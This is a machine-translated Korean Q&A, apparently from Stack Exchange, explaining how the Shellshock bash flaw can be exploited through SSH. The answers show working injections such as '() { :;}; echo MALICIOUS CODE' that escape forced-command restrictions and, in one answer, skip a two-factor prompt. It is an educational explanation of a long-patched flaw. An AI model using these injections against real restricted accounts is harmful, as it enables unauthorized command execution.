SSH를 통해 어떻게 쉘 쇼크를 이용할 수 있습니까?


68

분명히 쉘 쇼크 Bash 익스플로잇 CVE-2014-6271 은 SSH를 통해 네트워크를 통해 익스플로잇 될 수 있습니다. 익스플로잇이 Apache / CGI를 통해 어떻게 작동하는지 상상할 수 있지만 SSH를 통해 어떻게 작동하는지 상상할 수 없습니까?

누군가 SSH를 어떻게 이용하고 시스템에 어떤 해를 끼칠 수 있는지 예를 들어 줄 수 있습니까?

설명

AFAIU에서는 인증 된 사용자 만 SSH를 통해이 취약점을 악용 할 수 있습니다. 어쨌든 시스템에 합법적으로 액세스 할 수있는 사람에게는이 취약점이 어떤 용도로 사용됩니까? 내 말은,이 익스플로잇에는 권한 에스컬레이션이 없으므로 (루트가 될 수 없음) SSH를 통해 합법적으로 로그인 한 후 할 수있는 것 이상을 수행 할 수 없습니다.


간단히 말해 누군가가 이미 상자에 액세스하지 않는 한 수행 할 수 없습니다. 새로운 bash 쉘은 성공적인 로그인 시도 후에 만 ​​실행됩니다.
Evert

그것의 대부분은 미디어 과대 광고입니다. 일어날 수는 있지만 그렇게 나쁘지는 않습니다.
jgr208

사용자 이름이 로그에 그대로 사용됩니까? 그렇다면 어딘가에 취약한 로그 파싱 bash 스크립트가있을 수 있습니다.
PlasmaHH

1
@PlasmaHH 로그 파싱 스크립트를 루트로 실행하면 얻을 수있는 것이 있습니다.
Barmar

@Barmar : 질문은 루트 액세스를 얻는 것이 아니라 기계에 대한 액세스 (예 : 훼손 또는 다른 해를 입히는 데 필요할 수 있음) 외에도 코드를 실행할 수있을 때 가능성이 있습니다. 루트를 얻는 다른 것을 악용하는 코드를 실행하십시오.
PlasmaHH

답변:


79

이를 악용 할 수있는 한 가지 예는 authorized_keys강제 명령 이있는 서버입니다 . 에 항목을 추가 할 때 ssh 공개 키가 사용될 때마다 강제 로 실행되도록 ~/.ssh/authorized_keys행 접두어를 지정할 수 있습니다 . 이 익스플로잇을 사용하면 대상 사용자의 쉘이로 설정된 경우 익스플로잇을 이용하여 명령이 아닌 다른 항목을 실행할 수 있습니다.command="foo"foobash

이것은 아마도 예에서 더 의미가있을 것이므로 여기에 예가 있습니다.

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

여기서 testuserssh 키를 사용하는 ssh 연결을 강제로 실행 하는 사용자를 설정합니다 echo starting sleep; sleep 1.

우리는 이것을 테스트 할 수 있습니다 :

$ ssh testuser@localhost echo something else
starting sleep

우리 echo something else가 어떻게 실행되지는 않지만 starting sleep강제 명령이 실행되었음을 보여줍니다.

이제이 익스플로잇이 어떻게 사용되는지 보여 드리겠습니다 :

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

이것은 환경 변수를 전달 된 명령으로 sshd설정 하기 때문에 작동 합니다 SSH_ORIGINAL_COMMAND. 그래서 비록 sshd실행 sleep, 그리고 명령을 내 코드는 여전히 실행됩니다 때문에 악용의,에 말했다.


1
대신 ssh testuser@localhost echo something else '`whoami`' 명령을 실행하십시오.
Richard

1
이 답변에 SSH의 관점에서 악용하면 인증 된 키 (권한 키는 긴 암호로 생각할 수 있음)를 가진 인증 된 사용자 만 일반적으로 실행 권한이없는 명령을 실행할 수 있습니다. 인증 된 키가없는 사람은 아무것도 할 수 없습니다. SSH에 대한 적절한 이해와 authorized_key의 의미가 없다면 이것이 대답에서 명확하지 않다고 생각합니다.
Chris Dragon

@skrewler 일반적으로 뭔가 잘못 해석하고 있다는 좋은 신호입니다. 예를 들어, 관리자가 testuser에게 제공된 계정 설정을 제공 한 경우 testuser가 제한을 벗어날 수있는 방법을 설명합니다. 그리고 bash와 관련이 없다는 것은 쉘 쇼크를 이용할 수 있음을 의미합니다. bash가 권한으로 실행 중일 때만 사용자에게는 일반적으로 없지만 bash의 환경 변수에 영향을 미칩니다.
Patrick

좋아, 지금 당신이 보여주고 싶은 것을 얻는다-testuser를 로그인 쉘이 아닌 .authorized_keys의 명령으로 제한하는 설정. 이미 셸 액세스 권한이있을 때 명령을 실행하는 항목 (권한 실행을 제공하지 않기 때문에)으로 자신의 .authorized_keys를 편집하는 것은 의미가 없습니다.
skrewler

26

Ramesh의 예제에서 확장-2 단계 인증을 사용하는 경우 구현 방식에 따라이 익스플로잇을 사용하여 두 번째 요소를 무시할 수 있습니다.

— 일반 로그인 —

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

— 2FA없이 실행 코드 —

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

2FA를 묻지 않고 코드를 실행했음을 알 수 있습니다.

— bash 패치 후 —

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
두 번째 요소를 사용하여 최종 독자의 공황을 제한하기 위해 : "어떻게 구현되는지에 따라"-여기서 두 번째 요소가 bash로 구현되거나 read함수를 사용한다고 가정합니다 . 그렇지 않으면-사용자는 안전합니다.
Grzegorz Wierzowiecki

25

Shellshock은 SSH가 아닌 bash의 취약점입니다. 이를 악용하려면 공격자는 취약한 시스템에서 bash를 실행하고 bash에 전달 될 환경 변수의 값을 제어해야합니다.

SSH를 통해 bash 프로세스에 도달하려면 공격자가 인증 단계를 통과해야합니다. (다른 네트워크 서비스를 통해 공격 벡터가있을 수 있지만이 스레드의 범위를 벗어납니다.) 어쨌든 계정이 임의의 쉘 명령을 실행할 수 있으면 공격이 없습니다. 계정이 SFTP 전용 계정 또는 git 전용 계정과 같은 특정 명령을 실행하도록 계정이 제한되면 취약점이 발생합니다.

와 : SSH와 특정 명령을 실행하려면 계정을 제한하는 방법에는 여러 가지가 있습니다 ForceCommand에 옵션 sshd_config또는 함께 command=. authorized_keys파일 제한 . 사용자의 셸이 bash 인 경우 Shellshock 취약점을 통해 일반적으로 제한된 계정에만 액세스 할 수있는 사용자는 제한을 무시하고 임의의 명령을 실행할 수 있습니다.


그리고 이것은 다른 쉘에서는 작동하지 않습니다 zsh.
Eir Nym
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.